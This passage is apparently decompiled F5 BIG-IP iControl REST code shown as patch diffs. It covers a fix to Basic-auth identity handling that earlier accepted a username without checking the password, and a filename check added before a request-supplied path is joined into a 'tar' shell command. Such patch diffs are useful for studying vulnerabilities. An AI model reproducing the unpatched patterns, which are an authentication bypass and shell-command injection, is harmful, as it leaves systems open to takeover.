     copy.isForceSocketEnabled = this.isForceSocketEnabled;
     copy.isRollbackRequest = this.isRollbackRequest;
     copy.restOperationFlags = EnumSet.copyOf(this.restOperationFlags);
     copy.statusCode = this.statusCode;
     if (this.authorizationData != null) {
       copy.authorizationData = new AuthorizationData();
       copy.authorizationData.basicAuthValue =
this.authorizationData.basicAuthValue;
       copy.authorizationData.xAuthToken = this.authorizationData.xAuthToken;
       copy.authorizationData.xF5AuthTokenState =
(this.authorizationData.xF5AuthTokenState == null) ? null :
RestHelper.<AuthTokenItemState>copy(this.authorizationData.xF5AuthTokenState);


       copy.authorizationData.wwwAuthenticate =
this.authorizationData.wwwAuthenticate;
     }
     if (this.identityData != null) {
       copy.identityData = new IdentityData();
       copy.identityData.userName = this.identityData.userName;
       if (!RestReference.isNullOrEmpty(this.identityData.userReference)) {
         URI uriCopy =
URI.create(this.identityData.userReference.link.toString());
         copy.identityData.userReference = new RestReference(uriCopy);
       }
       if (this.identityData.groupReferences != null) {
         copy.identityData.groupReferences = new
RestReference[this.identityData.groupReferences.length];

         for (int i = 0; i < this.identityData.groupReferences.length; i++) {
           if (!RestReference.isNullOrEmpty(this.identityData.groupReferences[i]))
{


             URI uriCopy =
URI.create((this.identityData.groupReferences[i]).link.toString());
             copy.identityData.groupReferences[i] = new RestReference(uriCopy);
           }
         }
       }
     }  copy.transferEncoding = this.transferEncoding;
     copy.sourceAddress = this.sourceAddress;
     copy.referer = this.referer;
     copy.coordinationId = this.coordinationId;
     copy.xForwardedFor = this.xForwardedFor;
     copy.identifiedGroupName = this.identifiedGroupName;
     copy.isTrustedRequest = this.isTrustedRequest;



     copy.isConnectionCloseRequested = this.isConnectionCloseRequested;
     copy.isConnectionKeepAlive = this.isConnectionKeepAlive;

     if (RestHelper.getOperationTracingLevel().intValue() <=
Level.FINER.intValue()) {

       copy.responseHeadersTrace = this.responseHeadersTrace;
       copy.requestHeadersTrace = this.requestHeadersTrace;
     }

     if (this.additionalHeaders != null && this.additionalHeaders[0] != null) {
       copy.allocateHttpHeaders();
       copy.additionalHeaders[Direction.REQUEST.getIndex()] =
(HttpHeaderFields)this.additionalHeaders[Direction.REQUEST.getIndex()].clone();
     }
```

```
    if (this.additionalHeaders != null && this.additionalHeaders[1] != null) {
      copy.allocateHttpHeaders();
      copy.additionalHeaders[Direction.RESPONSE.getIndex()] =
(HttpHeaderFields)this.additionalHeaders[Direction.RESPONSE.getIndex()].clone();
    }



    copy.isRestErrorResponseRequired = this.isRestErrorResponseRequired;
    copy.isPublicRequest = this.isPublicRequest;
    copy.senderNote = this.senderNote;
    copy.gossipHeader = this.gossipHeader;



    return copy;
  }








  public static String toJson(Object src) {
    return gson.toJson(src);
  }








  public static JsonElement toJsonTree(String src) {
    return (new JsonParser()).parse(src);
  }








  public static JsonElement toJsonTree(Object src) {
    return gson.toJsonTree(src);
  }
```

```
   public static String toJsonWithEnumValues(Object src) {
     return extendedGson.toJson(src);
   }

   public static <T> T fromJson(String json, Class<T> classOfT) throws
JsonSyntaxException {
     return (T)gson.fromJson(json, classOfT);
   }

   public static <T> T fromJson(Reader json, Class<T> classOfT) throws
JsonSyntaxException {
     return (T)gson.fromJson(json, classOfT);
   }

   public static <T> T fromJson(JsonElement parsedJson, Class<T> classOfT) throws
JsonSyntaxException {
     return (T)gson.fromJson(parsedJson, classOfT);
   }











   public static <T> T fromObject(Object src, Class<T> classOfT) throws
JsonSyntaxException {
      return (T)gson.fromJson(gson.toJson(src), classOfT);
   }









   public RestOperation nestCompletion(final RestRequestCompletion
beforeCompletion) {
      final RestRequestCompletion original = this.completion;
      RestRequestCompletion wrapper = new RestRequestCompletion()
        {
          public void completed(RestOperation request)
          {
            request.resetCompletionCount();
            request.setCompletion(original);
            beforeCompletion.completed(RestOperation.this);
          }


          public void failed(Exception ex, RestOperation request) {
            request.resetCompletionCount();
            request.setCompletion(original);
            beforeCompletion.failed(ex, request);
          }
        };

      return setCompletion(wrapper);
   }
 }
diff --git a/com/f5/rest/common/RestOperationIdentifier.java
b/com/f5/rest/common/RestOperationIdentifier.java
index d7941ba..cf955b9 100644
--- a/com/f5/rest/common/RestOperationIdentifier.java
+++ b/com/f5/rest/common/RestOperationIdentifier.java
@@ -1,249 +1,334 @@
 package com.f5.rest.common;

+import
com.f5.rest.tmos.bigip.authn.providers.mcpremote.TmosAuthProviderCollectionWorker;
 import com.f5.rest.workers.AuthTokenItemState;
+import com.f5.rest.workers.ForwarderPassThroughWorker;
+import com.f5.rest.workers.authn.providers.AuthProviderLoginState;
```

```
 import com.f5.rest.workers.authz.AuthzHelper;
 import com.f5.rest.workers.device.DeviceCertificateState;
 import java.net.URI;
+import java.net.URISyntaxException;
 import java.security.interfaces.RSAPublicKey;









+
+
+
+
+
+
 public class RestOperationIdentifier
 {
   private static RestLogger LOGGER = new
RestLogger(RestOperationIdentifier.class, null);

+  static final String TMOS_AUTH_LOGIN_PROVIDER_WORKER_URI_PATH =
TmosAuthProviderCollectionWorker.WORKER_URI_PATH + "/" +
TmosAuthProviderCollectionWorker.generatePrimaryKey("tmos") + "/login";
+
+



















   public static void setIdentityFromAuthenticationData(RestOperation request,
Runnable completion) {
     if (setIdentityFromDeviceAuthToken(request, completion)) {
       return;
     }
     if (setIdentityFromF5AuthToken(request)) {
        completion.run();
        return;
      }
-     if (setIdentityFromBasicAuth(request)) {
-       completion.run();
-
+     if (setIdentityFromBasicAuth(request, completion)) {
        return;
      }
+
      completion.run();
    }








    public static void updateIdentityFromAuthenticationData(RestOperation request)
{
      if (getRequestDeviceAuthToken(request) != null) {
        return;
      }


      if (setIdentityFromF5AuthToken(request)) {
        return;
      }
-     if (setIdentityFromBasicAuth(request)) {
+     if (setIdentityFromBasicAuth(request, null)) {
        return;
      }
    }




    private static String getRequestDeviceAuthToken(RestOperation request) {
      return request.getParameter("em_server_auth_token");
    }








    private static boolean setIdentityFromDeviceAuthToken(final RestOperation
incomingRequest, final Runnable finalRunnable) {
      final String authToken = getRequestDeviceAuthToken(incomingRequest);
      if (authToken == null) {
        return false;
      }
      final String ipAddress = incomingRequest.getParameter("em_server_ip");
```

```
     boolean isCmiKey =
Boolean.parseBoolean(incomingRequest.getParameter("em_cmi_key"));





     if (WellKnownPorts.getUseDeviceGroupKeyPairs() ||
WellKnownPorts.getUseBothDeviceAndGroupCertificates() || isCmiKey)
     {
       return setIdentityFromDeviceAuthTokenOnDisk(incomingRequest, finalRunnable,
authToken, ipAddress, isCmiKey);
     }


     URI certificateUri =
UrlHelper.buildLocalUriSafe(incomingRequest.getUri().getPort(), new String[] {
"shared/device-certificates", ipAddress });



     RestRequestCompletion completion = new RestRequestCompletion()
       {
         public void completed(RestOperation certRequest) {
           DeviceCertificateState certificate =
certRequest.<DeviceCertificateState>getTypedBody(DeviceCertificateState.class);

           RestOperationIdentifier.setIdentityFromDeviceAuthToken(authToken,
certificate.certificate.getBytes(), certificate.deviceUserReference,
incomingRequest);



           finalRunnable.run();
         }






         public void failed(Exception exception, RestOperation certRequest) {
           RestOperationIdentifier.LOGGER.fineFmt("Get device-certificate %s for
%s: %s", new Object[] { this.val$ipAddress, this.val$incomingRequest.getReferer(),
exception });

           finalRunnable.run();
         }
       };

     RestOperation certRequest =
RestOperation.create().setUri(certificateUri).setCompletion(completion).setReferer
(RestOperationIdentifier.class.getName());



     RestRequestSender.sendGet(certRequest);
     return true;
```

```
   }







   private static boolean setIdentityFromDeviceAuthTokenOnDisk(final RestOperation
incomingRequest, final Runnable finalRunnable, final String authToken, final
String ipAddress, final boolean isCmiKey) {
     DeviceAuthTokenHelper.getPublicKeyBytes(ipAddress, isCmiKey, new
CompletionHandler<byte[]>()
         {
           public void completed(byte[] data)
           {
             RestOperationIdentifier.setIdentityFromDeviceAuthToken(authToken,
data, null, incomingRequest);
             finalRunnable.run();
           }




           public void failed(Exception exception, byte[] data) {
             RestOperationIdentifier.LOGGER.fineFmt("Read public key %s/%s for %s:
%s", new Object[] { this.val$ipAddress, Boolean.valueOf(this.val$isCmiKey),
this.val$incomingRequest.getReferer(), exception });

             finalRunnable.run();
           }
         });

     return true;
   }











   private static void setIdentityFromDeviceAuthToken(String authToken, byte[]
publicKeyBytes, RestReference deviceUserReference, RestOperation request) {
     RSAPublicKey publicKey;
     DeviceAuthToken deviceAuthToken;
     try {
       publicKey = DeviceAuthTokenHelper.makePublicKeyFromBytes(publicKeyBytes);
     } catch (Exception exception) {


       LOGGER.warningFmt("Public key file on disk error: %s", new Object[] {
RestHelper.throwableStackToString(exception) });
```

```
        return;
      }

      try {
        deviceAuthToken = DeviceAuthTokenHelper.decryptAuthToken(authToken,
publicKey);
      } catch (Exception exception) {
        LOGGER.fineFmt("Invalid auth token %s from %s: %s", new Object[] {
authToken, request.getReferer(), exception });

        return;
      }

      LOGGER.finestFmt("token timestamp=%s", new Object[] {
Integer.valueOf(deviceAuthToken.getTimestamp()) });

      if (deviceUserReference == null) {
        deviceUserReference = AuthzHelper.getDefaultAdminReference();
      }
      request.setIdentityData(null, deviceUserReference, null);


      request.setTrustedRequest(true);
    }




    private static boolean setIdentityFromF5AuthToken(RestOperation request) {
      AuthTokenItemState token = request.getXF5AuthTokenState();
      if (token == null) {
        return false;
      }
      request.setIdentityData(token.userName, token.user,
AuthzHelper.toArray(token.groupReferences));

      return true;
    }




-   private static boolean setIdentityFromBasicAuth(RestOperation request) {
+
+
+   private static boolean setIdentityFromBasicAuth(final RestOperation request,
final Runnable runnable) {
      String authHeader = request.getBasicAuthorization();
      if (authHeader == null) {
        return false;
      }
-     AuthzHelper.BasicAuthComponents components =
AuthzHelper.decodeBasicAuth(authHeader);
-     request.setIdentityData(components.userName, null, null);
+     final AuthzHelper.BasicAuthComponents components =
AuthzHelper.decodeBasicAuth(authHeader);
+
+
+
+
+
+    String xForwardedHostHeaderValue = request.getAdditionalHeader("X-Forwarded-
Host");
+
+
+
+    if (xForwardedHostHeaderValue == null) {
+      request.setIdentityData(components.userName, null, null);
+      if (runnable != null) {
+        runnable.run();
+      }
+      return true;
+    }
+
+
+
+    String[] valueList = xForwardedHostHeaderValue.split(", ");
+    int valueIdx = (valueList.length > 1) ? (valueList.length - 1) : 0;
+    if (valueList[valueIdx].contains("localhost") ||
valueList[valueIdx].contains("127.0.0.1")) {
+
+      request.setIdentityData(components.userName, null, null);
+      if (runnable != null) {
+        runnable.run();
+      }
+      return true;
+    }
+
+
+    if (!PasswordUtil.isPasswordReset().booleanValue()) {
+      request.setIdentityData(components.userName, null, null);
+      if (runnable != null) {
+        runnable.run();
+      }
+      return true;
+    }
+
+    AuthProviderLoginState loginState = new AuthProviderLoginState();
+    loginState.username = components.userName;
+    loginState.password = components.password;
+    loginState.address = request.getRemoteSender();
+    RestRequestCompletion authCompletion = new RestRequestCompletion()
+      {
+        public void completed(RestOperation subRequest) {
+          request.setIdentityData(components.userName, null, null);
+          if (runnable != null) {
+            runnable.run();
+          }
+        }
+
+
+        public void failed(Exception ex, RestOperation subRequest) {
+          RestOperationIdentifier.LOGGER.warningFmt("Failed to validate %s", new
Object[] { ex.getMessage() });
+          if (ex.getMessage().contains("Password expired")) {
+            request.fail(new
SecurityException(ForwarderPassThroughWorker.CHANGE_PASSWORD_NOTIFICATION));
+          }
+          if (runnable != null) {
+            runnable.run();
+          }
+        }
+      };
+
+    try {
+      RestOperation subRequest =
RestOperation.create().setBody(loginState).setUri(UrlHelper.makeLocalUri(new
URI(TMOS_AUTH_LOGIN_PROVIDER_WORKER_URI_PATH),
null)).setCompletion(authCompletion);
+
+
+      RestRequestSender.sendPost(subRequest);
+    } catch (URISyntaxException e) {
+      LOGGER.warningFmt("ERROR: URISyntaxEception %s", new Object[] {
e.getMessage() });
+    }
     return true;
   }
 }
diff --git
a/com/f5/rest/tmos/bigip/access/iapp/IAppBundleInstallTaskCollectionWorker.java
b/com/f5/rest/tmos/bigip/access/iapp/IAppBundleInstallTaskCollectionWorker.java
index afc6890..7a0fe79 100644
---
a/com/f5/rest/tmos/bigip/access/iapp/IAppBundleInstallTaskCollectionWorker.java
+++
b/com/f5/rest/tmos/bigip/access/iapp/IAppBundleInstallTaskCollectionWorker.java
@@ -1,788 +1,803 @@
 package com.f5.rest.tmos.bigip.access.iapp;

 import com.f5.rest.common.CompletionHandler;
 import com.f5.rest.common.RestHelper;
 import com.f5.rest.common.RestOperation;
 import com.f5.rest.common.RestRequestCompletion;
 import com.f5.rest.common.RestServer;
 import com.f5.rest.common.RestThreadManager;
 import com.f5.rest.common.UrlHelper;
 import com.f5.rest.common.Utilities;
 import com.f5.rest.common.VersionUtil;
 import com.f5.rest.tmos.bigip.access.util.LangUtil;
 import com.f5.rest.workers.DeviceInfoState;
 import com.f5.rest.workers.device.DeviceInfoWorker;
 import com.f5.rest.workers.iapp.IAppPackageManagementTaskCollectionWorker;
 import com.f5.rest.workers.iapp.IAppPackageManagementTaskState;
 import com.f5.rest.workers.iapp.packaging.GlobalInstalledPackageCollectionWorker;
 import com.f5.rest.workers.iapp.packaging.InstalledPackageCollectionState;
 import com.f5.rest.workers.iapp.packaging.InstalledPackageState;
 import com.f5.rest.workers.shell.ShellExecutionResult;
 import com.f5.rest.workers.shell.ShellExecutor;
 import com.f5.rest.workers.task.AbstractTaskCollectionWorker;
 import com.f5.rest.workers.task.TaskCompletion;
 import com.f5.rest.workers.task.TaskItemState;
 import com.google.gson.JsonObject;
 import java.io.ByteArrayInputStream;
 import java.io.File;
 import java.io.IOException;
 import java.io.InputStream;
 import java.io.InputStreamReader;
 import java.net.URI;
 import java.nio.ByteBuffer;
 import java.nio.channels.AsynchronousFileChannel;
 import java.nio.channels.CompletionHandler;
 import java.nio.file.OpenOption;
 import java.nio.file.Path;
 import java.nio.file.Paths;
 import java.nio.file.StandardOpenOption;
 import java.util.ArrayList;
 import java.util.Date;
 import java.util.concurrent.TimeUnit;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
```

```
 public class IAppBundleInstallTaskCollectionWorker
   extends AbstractTaskCollectionWorker<IAppBundleInstallTaskState,
IAppBundleInstallCollectionState>
 {
   private static final String AGC_USE_CASE_PACK_BUILD_NOT_FOUND = "Access Guided
Configuration use case pack name does not contain build number";
   private static final String AGC_PACK_NOT_FOUND = "Access Guided Configuration
use case pack not found on BIG-IP. Please upload and install the pack.";
   public static final String IAPP_BUNDLE_INSTALL_TASKS_SEGMENT = "bundle-install-
tasks";
   public static final String WORKER_URI_PATH = UrlHelper.buildUriPath(new
String[] { "tm/", "access", "bundle-install-tasks" });
```

```
   private static final String ERROR_TASK_BODY_INVALID = "IApp bundle install task
body is invalid.";

+
   private static final String TAR_FILE_PATH = "/var/apm/f5-iappslx-agc-usecase-
pack/";

   private static final String RPMS_FILE_PATH = "/var/config/rest/downloads/";

   private static final String FRAMEWORK = "framework";

   private static final String AGC_USECASE_PACK_INFO_WORKER_URI_PATH =
"/mgmt/tm/access/usecase-pack-info";

   private static final String AGC_USE_CASE_PACK_VERSION = "usecasePackVersion";

   private static final String AGC_USE_CASE_PACK_BUILD = "usecasePackBuild";

   private String bigIpVersion;

   private static final int MAX_RETRY_COUNT = 5;

   private static final int RETRY_WAIT_TIME_MULTIPLIER = 5000;

+  private static final Pattern validFilePathChars = Pattern.compile("(^[a-zA-
Z][a-zA-Z0-9_.\\-\\s()]*)\\.([tT][aA][rR]\\.[gG][zZ])$");

   public IAppBundleInstallTaskCollectionWorker() {
     super(IAppBundleInstallTaskState.class,
IAppBundleInstallCollectionState.class);


     this.state = new IAppBundleInstallCollectionState();



     setReplicated(false);

     setIndexed(true);











     setIsObliteratedOnDelete(true);

     configureTaskJanitor(TimeUnit.HOURS.toMillis(1L),
TimeUnit.DAYS.toMillis(1L));
   }




   public void onStart(RestServer server) {
     completeStart(IAppBundleInstallCollectionState.class, new URI[] {
buildLocalUri(new String[] {
IAppPackageManagementTaskCollectionWorker.WORKER_URI_PATH }) });
   }








   public void validateTaskRequest(IAppBundleInstallTaskState taskState) throws
Exception {
     if (taskState == null) {
       throw new IllegalArgumentException("IApp bundle install task body is
invalid.");
     }
   }






   protected void startTask(IAppBundleInstallTaskState taskState) {
     taskState.status = TaskItemState.Status.STARTED;
     if (taskState.startTime == null) {
       taskState.startTime = new Date();
     }
     taskState.step =
IAppBundleInstallTaskState.IAppBundleInstallStep.VALIDATE_GZIP_BUNDLE;
     sendStatusUpdate(taskState);
   }






   public void processTaskStep(IAppBundleInstallTaskState taskState, Object
userData) {
     int retryCount;
     switch (taskState.step) {
       case VALIDATE_GZIP_BUNDLE:
         validateGzipBundle(taskState);
         return;
       case QUERY_INSTALLED_RPM:
         queryInstalledRpm(taskState);
         return;
       case QUERY_BIGIP_VERSION:
         queryBigipVersion(taskState);
         return;
       case EXTRACT_RPMS_FROM_BUNDLE:
         extractRpmsFromBundle(taskState);
         return;
       case READ_MANIFEST_FILE:
         readManifestFile(taskState);
         return;
       case FILTER_RPMS_ON_MIN_BIGIP_VERSION_REQUIRED:
         filterRpmsOnMinBigipVersionRequired(taskState);
```

```
          return;
        case INSTALL_FRAMEWORK_RPM:
          installFrameworkRpmInBundle(taskState);
          return;
        case INSTALL_APP_RPMS:
          installAppRpmsInBundle(taskState);
          return;
        case UPDATE_USECASE_PACK_VERSION:
          retryCount = 0;
          if (userData != null) {
            retryCount = ((Integer)userData).intValue();
          }
          updateUsecasePackVersion(taskState, retryCount);
          return;
        case DONE:
          taskState.status = TaskItemState.Status.FINISHED;
          sendStatusUpdate(taskState);
          return;
      }
      throw new IllegalStateException("Unknown IApp bundle install task step: " +
taskState.step);
    }




    private void validateGzipBundle(final IAppBundleInstallTaskState taskState) {
      if (Utilities.isNullOrEmpty(taskState.filePath)) {
        File agcUseCasePackDir = new File("/var/apm/f5-iappslx-agc-usecase-pack/");
        if (!agcUseCasePackDir.exists() || !agcUseCasePackDir.isDirectory()) {
          String error = "Access Guided Configuration use case pack not found on
BIG-IP. Please upload and install the pack.";
          failTask(taskState, error, "");
          return;
        }
        File[] agcUseCasePack = agcUseCasePackDir.listFiles();
        if (agcUseCasePack == null || agcUseCasePack.length == 0 ||
!agcUseCasePack[0].isFile()) {

          String error = "Access Guided Configuration use case pack not found on
BIG-IP. Please upload and install the pack.";
          failTask(taskState, error, "");
          return;
        }
        taskState.filePath = agcUseCasePack[0].getPath();
      }

+     String filename =
taskState.filePath.substring(taskState.filePath.lastIndexOf('/') + 1);
+     Matcher m = validFilePathChars.matcher(filename);
+     if (!m.matches()) {
+       String errorMessage = String.format("Access Guided Configuration use case
pack validation failed: the file name %s must begin with alphabet, and only
contain letters, numbers, spaces and/or special characters (underscore (_), period
(.), hyphen (-) and round brackets ()). Only a .tar.gz file is allowed", new
Object[] { filename });
+
+
+
+      failTask(taskState, errorMessage, "");
+
+      return;
+    }
     final String extractTarCommand = "tar -xf " + taskState.filePath + " -O >
/dev/null";


     ShellExecutor extractTar = new ShellExecutor(extractTarCommand);

     CompletionHandler<ShellExecutionResult> executionFinishedHandler = new
CompletionHandler<ShellExecutionResult>()
       {
         public void completed(ShellExecutionResult extractQueryResult)
         {
           if (extractQueryResult.getExitStatus().intValue() != 0) {
             String error = extractTarCommand + " failed with exit code=" +
extractQueryResult.getExitStatus();


             IAppBundleInstallTaskCollectionWorker.this.failTask(taskState,
"Usecase pack validation failed. Please ensure that usecase pack is a valid tar
archive.", error + "stdout + stderr=" + extractQueryResult.getOutput());


             return;
           }


           taskState.step =
IAppBundleInstallTaskState.IAppBundleInstallStep.QUERY_INSTALLED_RPM;
           IAppBundleInstallTaskCollectionWorker.this.sendStatusUpdate(taskState);
         }


         public void failed(Exception ex, ShellExecutionResult rpmQueryResult) {
           IAppBundleInstallTaskCollectionWorker.this.failTask(taskState, "Usecase
pack validation failed. Please ensure that usecase pack is a valid tar archive.",
String.format("%s failed", new Object[] { this.val$extractTarCommand }) +
RestHelper.throwableStackToString(ex));
         }
       };



     extractTar.startExecution(executionFinishedHandler);
   }


   private void queryInstalledRpm(final IAppBundleInstallTaskState taskState) {
     RestRequestCompletion queryCompletion = new RestRequestCompletion()
       {
         public void completed(RestOperation operation) {
           InstalledPackageCollectionState installedPackages =
(InstalledPackageCollectionState)operation.getTypedBody(InstalledPackageCollection
State.class);
```

```
           if (installedPackages != null) {
             taskState.alreadyInstalledRpmsInfo = new ArrayList<>();
             for (InstalledPackageState installedPackage :
installedPackages.items) {
               taskState.alreadyInstalledRpmsInfo.add(new
IAppBundleInstallTaskState.RpmPackageInfo(installedPackage.appName,
installedPackage.version, installedPackage.release, installedPackage.arch, ""));
             }
           }





           taskState.step =
IAppBundleInstallTaskState.IAppBundleInstallStep.QUERY_BIGIP_VERSION;
           IAppBundleInstallTaskCollectionWorker.this.sendStatusUpdate(taskState);
         }


         public void failed(Exception exception, RestOperation operation) {
           taskState.errorMessage = String.format("Failed to query Global
Installed Package Worker: %s", new Object[] { exception.getMessage() });


           IAppBundleInstallTaskCollectionWorker.this.failTask(taskState,
taskState.errorMessage, RestHelper.throwableStackToString(exception));
         }
       };


     RestOperation queryOperation =
RestOperation.create().setCompletion(queryCompletion).setUri(buildLocalUri(new
String[] { GlobalInstalledPackageCollectionWorker.WORKER_URI_PATH }));




     sendGet(queryOperation);
   }



   private void queryBigipVersion(final IAppBundleInstallTaskState taskState) {
     RestRequestCompletion queryCompletion = new RestRequestCompletion()
       {
         public void completed(RestOperation operation) {
           DeviceInfoState infoState =
(DeviceInfoState)operation.getTypedBody(DeviceInfoState.class);
           IAppBundleInstallTaskCollectionWorker.this.bigIpVersion =
infoState.version;
           taskState.step =
IAppBundleInstallTaskState.IAppBundleInstallStep.EXTRACT_RPMS_FROM_BUNDLE;
           IAppBundleInstallTaskCollectionWorker.this.sendStatusUpdate(taskState);
         }


         public void failed(Exception exception, RestOperation operation) {
           taskState.errorMessage = String.format("Failed to query BigIP version
from DeviceInfo Worker: %s", new Object[] { exception.getMessage() });


           IAppBundleInstallTaskCollectionWorker.this.failTask(taskState,
taskState.errorMessage, RestHelper.throwableStackToString(exception));
         }
       };


     RestOperation queryOperation =
RestOperation.create().setCompletion(queryCompletion).setUri(buildLocalUri(new
String[] { DeviceInfoWorker.WORKER_URI_PATH }));




     sendGet(queryOperation);
   }


   private void extractRpmsFromBundle(final IAppBundleInstallTaskState taskState)
{
     final String extractTarCommand = "tar -xvf " + taskState.filePath + " --
directory " + "/var/config/rest/downloads/";

     ShellExecutor extractTar = new ShellExecutor(extractTarCommand);

     CompletionHandler<ShellExecutionResult> executionFinishedHandler = new
CompletionHandler<ShellExecutionResult>()
       {
         public void completed(ShellExecutionResult extractTarResult)
         {
           if (extractTarResult.getExitStatus().intValue() != 0) {
             String error = extractTarCommand + " failed with exit code=" +
extractTarResult.getExitStatus();


             IAppBundleInstallTaskCollectionWorker.this.failTask(taskState,
"Validate usecase pack by extracting iApps failed", error + "stdout + stderr=" +
extractTarResult.getOutput());



             return;
           }


           populateRpmsToBeInstalled(taskState, extractTarResult);

           taskState.step =
IAppBundleInstallTaskState.IAppBundleInstallStep.READ_MANIFEST_FILE;
           IAppBundleInstallTaskCollectionWorker.this.sendStatusUpdate(taskState);
         }
         private void populateRpmsToBeInstalled(IAppBundleInstallTaskState
taskState, ShellExecutionResult extractTarResult) {
           ArrayList<IAppBundleInstallTaskState.RpmPackageInfo>
alreadyInstalledRpms = new ArrayList<>();
           taskState.appRpmsInfo = new ArrayList<>();

           String[] rpmsToBeInstalled = extractTarResult.getOutput().split("\\n");


           for (int i = 0; i < rpmsToBeInstalled.length; i++) {

             if (isManifestFile(rpmsToBeInstalled[i])) {
               taskState.manifestFileName = rpmsToBeInstalled[i];
             }
             else {

               IAppBundleInstallTaskState.RpmPackageInfo rpmToBeInstalled =
getRpmPackageInfo(rpmsToBeInstalled[i]);

               if (!rpmToBeInstalled.error.equals("")) {
                 updateRpmStatus(taskState, rpmsToBeInstalled[i],
IAppBundleInstallTaskState.RpmStatus.ERRORED, rpmToBeInstalled.error);
               }
               else if (isRpmInstallRequired(rpmToBeInstalled)) {
                 updateRpmStatus(taskState, rpmsToBeInstalled[i],
IAppBundleInstallTaskState.RpmStatus.EXTRACTED, "");
               } else {

                 alreadyInstalledRpms.add(rpmToBeInstalled);
               }
             }
           }  taskState.alreadyInstalledRpmsInfo = alreadyInstalledRpms;
         }

         private boolean isManifestFile(String fileName) {
           int index = fileName.lastIndexOf('.');
           if (index != -1 && fileName.substring(index + 1).equals("json"))
           {
             return true;
           }
           return false;
         }




         private void updateRpmStatus(IAppBundleInstallTaskState taskState, String
rpmToBeInstalled, IAppBundleInstallTaskState.RpmStatus rpmStatus, String error) {
           if (rpmToBeInstalled.contains("framework")) {
             taskState.frameworkRpmInfo = new
IAppBundleInstallTaskState.RpmInfo(rpmToBeInstalled, rpmStatus, error);
           } else {

             taskState.appRpmsInfo.add(new
IAppBundleInstallTaskState.RpmInfo(rpmToBeInstalled, rpmStatus, error));
           }
         }
         private boolean
isRpmInstallRequired(IAppBundleInstallTaskState.RpmPackageInfo rpmToBeInstalled) {
           if (taskState.alreadyInstalledRpmsInfo == null ||
taskState.alreadyInstalledRpmsInfo.isEmpty())
           {
             return true;
           }
           for (IAppBundleInstallTaskState.RpmPackageInfo alreadyInstalledRpm :
taskState.alreadyInstalledRpmsInfo) {
             if (alreadyInstalledRpm.name.equals(rpmToBeInstalled.name)) {
               if (VersionUtil.compareVersion(alreadyInstalledRpm.version,
rpmToBeInstalled.version) > 0) {


                 rpmToBeInstalled.error =
createAlreadyInstalledRpmErrorMessage(rpmToBeInstalled, alreadyInstalledRpm);

                 return false;
               }  if (VersionUtil.compareVersion(alreadyInstalledRpm.version,
rpmToBeInstalled.version) == 0)
               {

                 if (VersionUtil.compareBuild(alreadyInstalledRpm.release,
rpmToBeInstalled.release) >= 0) {


                   createAlreadyInstalledRpmErrorMessage(rpmToBeInstalled,
alreadyInstalledRpm);

                   return false;
                 }
               }
               break;
             }
           }
           return true;
         }



         private String
createAlreadyInstalledRpmErrorMessage(IAppBundleInstallTaskState.RpmPackageInfo
rpmToBeInstalled, IAppBundleInstallTaskState.RpmPackageInfo alreadyInstalledRpm) {
           return rpmToBeInstalled.error = "Installed rpm version is " +
alreadyInstalledRpm.version + " and release is " + alreadyInstalledRpm.release;
         }



         private IAppBundleInstallTaskState.RpmPackageInfo
getRpmPackageInfo(String rpmFileName) {
           IAppBundleInstallTaskState.RpmPackageInfo rpmPackageInfo = new
IAppBundleInstallTaskState.RpmPackageInfo("", "", "", "", "");



           int index = rpmFileName.lastIndexOf('.');
           if (index == -1 || !rpmFileName.substring(index + 1).equals("rpm")) {
             rpmPackageInfo.error = "Not a rpm file";
             return rpmPackageInfo;
           }
           rpmFileName = rpmFileName.substring(0, index);

           index = rpmFileName.lastIndexOf('.'); String subStr;
           if (index == -1 || !(subStr = rpmFileName.substring(index +
1)).equals("noarch")) {


             rpmPackageInfo.error = "Invalid file name format - 'arch' not found
in file name";
             return rpmPackageInfo;
           }
           rpmPackageInfo.arch = subStr;
           rpmFileName = rpmFileName.substring(0, index);

           index = rpmFileName.lastIndexOf('-');
           if (index == -1 || (subStr = rpmFileName.substring(index + 1)).length()
== 0 || !Character.isDigit(subStr.charAt(0))) {


             rpmPackageInfo.error = "Invalid file name format - release not found
in file name";
             return rpmPackageInfo;
           }
           rpmPackageInfo.release = subStr;
           rpmFileName = rpmFileName.substring(0, index);

           index = rpmFileName.lastIndexOf('-');
           if (index == -1 || (subStr = rpmFileName.substring(index + 1)).length()
== 0 || !Character.isDigit(subStr.charAt(0))) {


             rpmPackageInfo.error = "Invalid file name format - version not found
in file name";
             return rpmPackageInfo;
           }
           rpmPackageInfo.version = subStr;

           rpmPackageInfo.name = rpmFileName.substring(0, index);
           if (rpmPackageInfo.name.length() == 0) {
             rpmPackageInfo.error = "Invalid file name format - name not found in
file name";
             return rpmPackageInfo;
           }
           return rpmPackageInfo;
         }


         public void failed(Exception ex, ShellExecutionResult rpmQueryResult) {
           IAppBundleInstallTaskCollectionWorker.this.failTask(taskState, "Extract
iApps from usecase pack failed", String.format("%s failed", new Object[] {
this.val$extractTarCommand }) + RestHelper.throwableStackToString(ex));
         }
       };


     extractTar.startExecution(executionFinishedHandler);
```

```
  }



  private void readManifestFile(final IAppBundleInstallTaskState taskState) {
    if (LangUtil.isNullOrEmpty(taskState.manifestFileName)) {
      failTask(taskState, "Access Guided Configuration use case pack does not
contain manifest file.", "");

      return;
    }

    final CompletionHandler<Integer, ByteBuffer> completion = new
CompletionHandler<Integer, ByteBuffer>()
      {
        public void completed(Integer result, ByteBuffer bb) {
          InputStream in = new ByteArrayInputStream(bb.array());
          InputStreamReader inr = new InputStreamReader(in);
          taskState.manifest =
(IAppBundleInstallTaskState.Manifest)RestOperation.fromJson(inr,
IAppBundleInstallTaskState.Manifest.class);

          taskState.step =
IAppBundleInstallTaskState.IAppBundleInstallStep.FILTER_RPMS_ON_MIN_BIGIP_VERSION_
REQUIRED;
          IAppBundleInstallTaskCollectionWorker.this.sendStatusUpdate(taskState);
        }


        public void failed(Throwable exc, ByteBuffer attachment) {
          IAppBundleInstallTaskCollectionWorker.this.failTask(taskState,
String.format("Failed to read manifest file %s - %s", new Object[] {
this.val$taskState.manifestFileName, exc.getMessage() }),
RestHelper.throwableStackToString(exc));
        }
      };




    StandardOpenOption option = StandardOpenOption.READ;
    Path path = Paths.get("/var/config/rest/downloads/" +
taskState.manifestFileName, new String[0]);
    try {
      final AsynchronousFileChannel fileChannel =
AsynchronousFileChannel.open(path, new OpenOption[] { option });

      ByteBuffer buffer = ByteBuffer.allocate((int)fileChannel.size());

      CompletionHandler<Integer, ByteBuffer> completionHandler = new
CompletionHandler<Integer, ByteBuffer>()
        {

